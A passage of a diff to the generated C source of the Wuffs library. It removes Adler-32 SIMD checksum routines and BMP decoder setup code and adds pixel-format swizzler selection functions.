((uint16x4_t){16u, 15u, 14u, 13u})); -- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col2), ((uint16x4_t){12u, 11u, 10u, 9u})); -- v_v2 = vmlal_u16(v_v2, vget_low_u16(v_col3), ((uint16x4_t){8u, 7u, 6u, 5u})); -- v_v2 = vmlal_u16(v_v2, vget_high_u16(v_col3), ((uint16x4_t){4u, 3u, 2u, 1u})); -- v_sum1 = vpadd_u32(vget_low_u32(v_v1), vget_high_u32(v_v1)); -- v_sum2 = vpadd_u32(vget_low_u32(v_v2), vget_high_u32(v_v2)); -- v_sum12 = vpadd_u32(v_sum1, v_sum2); -- v_s1 += vget_lane_u32(v_sum12, 0u); -- v_s2 += vget_lane_u32(v_sum12, 1u); -- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); -- if (v_tail_index < ((uint64_t)(a_x.len))) { -- { -- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 1; -- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end0_p) { -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -- } -- v_p.len = 0; -+ return NULL; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__bgra_premul__src_over; - } -- } -- v_s1 %= 65521u; -- v_s2 %= 65521u; -- a_x = v_remaining; -- } -- self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); -- return wuffs_base__make_empty_struct(); --} --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --// ‼ WUFFS MULTI-FILE SECTION -arm_neon -+ return NULL; - --// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 --// -------- func adler32.hasher.up_x86_sse42 -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_copy_4_4; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__bgra_premul__src_over; -+ } -+ return NULL; - --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_adler32__hasher__up_x86_sse42( -- wuffs_adler32__hasher* self, -- wuffs_base__slice_u8 a_x) { -- uint32_t v_s1 = 0; -- uint32_t v_s2 = 0; -- wuffs_base__slice_u8 v_remaining = {0}; -- wuffs_base__slice_u8 v_p = {0}; -- __m128i v_zeroes = {0}; -- __m128i v_ones = {0}; -- __m128i v_weights__left = {0}; -- __m128i v_weights_right = {0}; -- __m128i v_q__left = {0}; -- __m128i v_q_right = {0}; -- __m128i v_v1 = {0}; -- __m128i v_v2 = {0}; -- __m128i v_v2j = {0}; -- __m128i v_v2k = {0}; -- uint32_t v_num_iterate_bytes = 0; -- uint64_t v_tail_index = 0; -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr__rgba_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr__rgba_premul__src_over; -+ } -+ return NULL; - -- v_zeroes = _mm_set1_epi16((int16_t)(0u)); -- v_ones = _mm_set1_epi16((int16_t)(1u)); -- v_weights__left = _mm_set_epi8((int8_t)(17u), (int8_t)(18u), (int8_t)(19u), (int8_t)(20u), (int8_t)(21u), (int8_t)(22u), (int8_t)(23u), (int8_t)(24u), (int8_t)(25u), (int8_t)(26u), (int8_t)(27u), (int8_t)(28u), (int8_t)(29u), (int8_t)(30u), (int8_t)(31u), (int8_t)(32u)); -- v_weights_right = _mm_set_epi8((int8_t)(1u), (int8_t)(2u), (int8_t)(3u), (int8_t)(4u), (int8_t)(5u), (int8_t)(6u), (int8_t)(7u), (int8_t)(8u), (int8_t)(9u), (int8_t)(10u), (int8_t)(11u), (int8_t)(12u), (int8_t)(13u), (int8_t)(14u), (int8_t)(15u), (int8_t)(16u)); -- v_s1 = ((self->private_impl.f_state) & 0xFFFFu); -- v_s2 = ((self->private_impl.f_state) >> (32u - 16u)); -- while (((uint64_t)(a_x.len)) > 0u) { -- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); -- if (((uint64_t)(a_x.len)) > 5536u) { -- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 5536u); -- a_x = wuffs_base__slice_u8__subslice_j(a_x, 5536u); -- } -- v_num_iterate_bytes = ((uint32_t)((((uint64_t)(a_x.len)) & 4294967264u))); -- v_s2 += ((uint32_t)(v_s1 * v_num_iterate_bytes)); -- v_v1 = _mm_setzero_si128(); -- v_v2j = _mm_setzero_si128(); -- v_v2k = _mm_setzero_si128(); -- { -- wuffs_base__slice_u8 i_slice_p = a_x; -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 32; -- uint8_t* i_end0_p = v_p.ptr + (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 32) * 32); -- while (v_p.ptr < i_end0_p) { -- v_q__left = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr)); -- v_q_right = _mm_lddqu_si128((const __m128i*)(const void*)(v_p.ptr + 16u)); -- v_v2j = _mm_add_epi32(v_v2j, v_v1); -- v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q__left, v_zeroes)); -- v_v1 = _mm_add_epi32(v_v1, _mm_sad_epu8(v_q_right, v_zeroes)); -- v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q__left, v_weights__left))); -- v_v2k = _mm_add_epi32(v_v2k, _mm_madd_epi16(v_ones, _mm_maddubs_epi16(v_q_right, v_weights_right))); -- v_p.ptr += 32; -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src_over; - } -- v_p.len = 0; -- } -- v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(177u))); -- v_v1 = _mm_add_epi32(v_v1, _mm_shuffle_epi32(v_v1, (int32_t)(78u))); -- v_s1 += ((uint32_t)(_mm_cvtsi128_si32(v_v1))); -- v_v2 = _mm_add_epi32(v_v2k, _mm_slli_epi32(v_v2j, (int32_t)(5u))); -- v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(177u))); -- v_v2 = _mm_add_epi32(v_v2, _mm_shuffle_epi32(v_v2, (int32_t)(78u))); -- v_s2 += ((uint32_t)(_mm_cvtsi128_si32(v_v2))); -- v_tail_index = (((uint64_t)(a_x.len)) & 18446744073709551584u); -- if (v_tail_index < ((uint64_t)(a_x.len))) { -- { -- wuffs_base__slice_u8 i_slice_p = wuffs_base__slice_u8__subslice_i(a_x, v_tail_index); -- v_p.ptr = i_slice_p.ptr; -- v_p.len = 1; -- uint8_t* i_end0_p = i_slice_p.ptr + i_slice_p.len; -- while (v_p.ptr < i_end0_p) { -- v_s1 += ((uint32_t)(v_p.ptr[0u])); -- v_s2 += v_s1; -- v_p.ptr += 1; -- } -- v_p.len = 0; -+ return NULL; -+ -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ if (wuffs_base__cpu_arch__have_x86_sse42()) { -+ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; -+ } -+#endif -+ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__rgba_premul__src_over; - } -- } -- v_s1 %= 65521u; -- v_s2 %= 65521u; -- a_x = v_remaining; -+ return NULL; - } -- self->private_impl.f_state = (((v_s2 & 65535u) << 16u) | (v_s1 & 65535u)); -- return wuffs_base__make_empty_struct(); -+ return NULL; - } --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ADLER32) -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__bgrx( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__Y: -+ return wuffs_private_impl__swizzle_y__bgrx; - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BMP) -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ return wuffs_private_impl__swizzle_bgr_565__bgrx; - --// ---------------- Status Codes Implementations -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ return wuffs_private_impl__swizzle_xxx__xxxx; - --const char wuffs_bmp__error__bad_header[] = "#bmp: bad header"; --const char wuffs_bmp__error__bad_rle_compression[] = "#bmp: bad RLE compression"; --const char wuffs_bmp__error__truncated_input[] = "#bmp: truncated input"; --const char wuffs_bmp__error__unsupported_bmp_file[] = "#bmp: unsupported BMP file"; --const char wuffs_bmp__note__internal_note_short_read[] = "@bmp: internal note: short read"; -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ return wuffs_private_impl__swizzle_bgrw__bgrx; - --// ---------------- Private Consts -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ return wuffs_private_impl__swizzle_bgrw_4x16le__bgrx; - --#define WUFFS_BMP__COMPRESSION_NONE 0 -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ return wuffs_private_impl__swizzle_copy_4_4; - --#define WUFFS_BMP__COMPRESSION_RLE8 1 -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ return wuffs_private_impl__swizzle_bgr__rgbx; - --#define WUFFS_BMP__COMPRESSION_RLE4 2 -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ return wuffs_private_impl__swizzle_bgrw__rgbx; -+ } -+ return NULL; -+} - --#define WUFFS_BMP__COMPRESSION_BITFIELDS 3 -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__rgb( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ return wuffs_private_impl__swizzle_bgr_565__rgb; - --#define WUFFS_BMP__COMPRESSION_JPEG 4 -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ return wuffs_private_impl__swizzle_swap_rgb_bgr; - --#define WUFFS_BMP__COMPRESSION_PNG 5 -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ if (wuffs_base__cpu_arch__have_x86_sse42()) { -+ return wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42; -+ } -+#endif -+ return wuffs_private_impl__swizzle_bgrw__rgb; - --#define WUFFS_BMP__COMPRESSION_ALPHABITFIELDS 6 -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ return wuffs_private_impl__swizzle_bgrw_4x16le__rgb; - --#define WUFFS_BMP__COMPRESSION_LOW_BIT_DEPTH 256 -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ return wuffs_private_impl__swizzle_copy_3_3; - --#define WUFFS_BMP__RLE_STATE_NEUTRAL 0 -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ if (wuffs_base__cpu_arch__have_x86_sse42()) { -+ return wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42; -+ } -+#endif -+ return wuffs_private_impl__swizzle_bgrw__bgr; -+ } -+ return NULL; -+} - --#define WUFFS_BMP__RLE_STATE_RUN 1 -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__rgba_nonpremul( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr_565__rgba_nonpremul__src_over; -+ } -+ return NULL; - --#define WUFFS_BMP__RLE_STATE_ESCAPE 2 -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src_over; -+ } -+ return NULL; - --#define WUFFS_BMP__RLE_STATE_LITERAL 3 -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ if (wuffs_base__cpu_arch__have_x86_sse42()) { -+ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; -+ } -+#endif -+ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_nonpremul__src_over; -+ } -+ return NULL; - --#define WUFFS_BMP__RLE_STATE_DELTA_X 4 -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_nonpremul__src_over; -+ } -+ return NULL; - --#define WUFFS_BMP__RLE_STATE_DELTA_Y 5 -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__rgba_nonpremul__src_over; -+ } -+ return NULL; - --// ---------------- Private Initializer Prototypes -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__BGRX: -+ // TODO. -+ break; - --// ---------------- Private Function Prototypes -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__do_decode_image_config( -- wuffs_bmp__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src); -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_copy_4_4; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__do_decode_frame_config( -- wuffs_bmp__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src); -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__bgra_nonpremul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__do_decode_frame( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts); -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: -+ case WUFFS_BASE__PIXEL_FORMAT__RGBX: -+ // TODO. -+ break; -+ } -+ return NULL; -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__swizzle_none( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -+static inline WUFFS_BASE__FORCE_INLINE wuffs_base__pixel_swizzler__func // -+wuffs_private_impl__pixel_swizzler__prepare__rgba_premul( -+ wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ switch (dst_pixfmt.repr) { -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr_565__rgba_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr_565__rgba_premul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__swizzle_rle( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr__rgba_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr__rgba_premul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__swizzle_bitfields( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__rgba_premul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__swizzle_low_bit_depth( -- wuffs_bmp__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__do_tell_me_more( -- wuffs_bmp__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src); -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul_4x16le__rgba_premul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__read_palette( -- wuffs_bmp__decoder* self, -- wuffs_base__io_buffer* a_src); -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+ if (wuffs_base__cpu_arch__have_x86_sse42()) { -+ return wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42; -+ } -+#endif -+ return wuffs_private_impl__swizzle_swap_rgbx_bgrx; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__rgba_premul__src_over; -+ } -+ return NULL; - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_bmp__decoder__process_masks( -- wuffs_bmp__decoder* self); -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgr__bgra_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgr__bgra_premul__src_over; -+ } -+ return NULL; - --// ---------------- VTables -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src_over; -+ } -+ return NULL; - --const wuffs_base__image_decoder__func_ptrs --wuffs_bmp__decoder__func_ptrs_for__wuffs_base__image_decoder = { -- (wuffs_base__status(*)(void*, -- wuffs_base__pixel_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__pixel_blend, -- wuffs_base__slice_u8, -- wuffs_base__decode_frame_options*))(&wuffs_bmp__decoder__decode_frame), -- (wuffs_base__status(*)(void*, -- wuffs_base__frame_config*, -- wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_frame_config), -- (wuffs_base__status(*)(void*, -- wuffs_base__image_config*, -- wuffs_base__io_buffer*))(&wuffs_bmp__decoder__decode_image_config), -- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_bmp__decoder__frame_dirty_rect), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_bmp__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_bmp__decoder__history_retain_length), -- (uint32_t(*)(const void*))(&wuffs_bmp__decoder__num_animation_loops), -- (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frame_configs), -- (uint64_t(*)(const void*))(&wuffs_bmp__decoder__num_decoded_frames), -- (wuffs_base__status(*)(void*, -- uint64_t, -- uint64_t))(&wuffs_bmp__decoder__restart_frame), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_bmp__decoder__set_quirk), -- (wuffs_base__empty_struct(*)(void*, -- uint32_t, -- bool))(&wuffs_bmp__decoder__set_report_metadata), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__more_information*, -- wuffs_base__io_buffer*))(&wuffs_bmp__decoder__tell_me_more), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_bmp__decoder__workbuf_len), --}; -+ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: -+ switch (blend) { -+ case WUFFS_BASE__PIXEL_BLEND__SRC: -+ return wuffs_private_impl__swizzle_copy_4_4; -+ case WUFFS_BASE__PIXEL_BLEND__SRC_OVER: -+ return wuffs_private_impl__swizzle_bgra_premul__bgra_premul__src_over; -+ } -+ return NULL; -+ } -+ return NULL; -+} - --// ---------------- Initializer Implementations -+// -------- - --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_bmp__decoder__initialize( -- wuffs_bmp__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status // -+wuffs_base__pixel_swizzler__prepare(wuffs_base__pixel_swizzler* p, -+ wuffs_base__pixel_format dst_pixfmt, -+ wuffs_base__slice_u8 dst_palette, -+ wuffs_base__pixel_format src_pixfmt, -+ wuffs_base__slice_u8 src_palette, -+ wuffs_base__pixel_blend blend) { -+ if (!p) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -- } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -- } -+ p->private_impl.func = NULL; -+ p->private_impl.transparent_black_func = NULL; -+ p->private_impl.dst_pixfmt_bytes_per_pixel = 0; -+ p->private_impl.src_pixfmt_bytes_per_pixel = 0; - -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+ // ---- -+ -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ENABLE_ALLOWLIST) -+ switch (dst_pixfmt.repr) { -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR_565) -+ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: -+ break; - #endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -- } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGR) -+ case WUFFS_BASE__PIXEL_FORMAT__BGR: -+ break; - #endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -- } -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL) -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_NONPREMUL_4X16LE) -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_BGRA_PREMUL) -+ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: -+ break; -+#endif -+#if defined(WUFFS_CONFIG__DST_PIXEL_FORMAT__ALLOW_RGB) -+ case WUFFS_BASE__PIXEL_FORMAT__RGB: -+ break; -+#endif -+#if 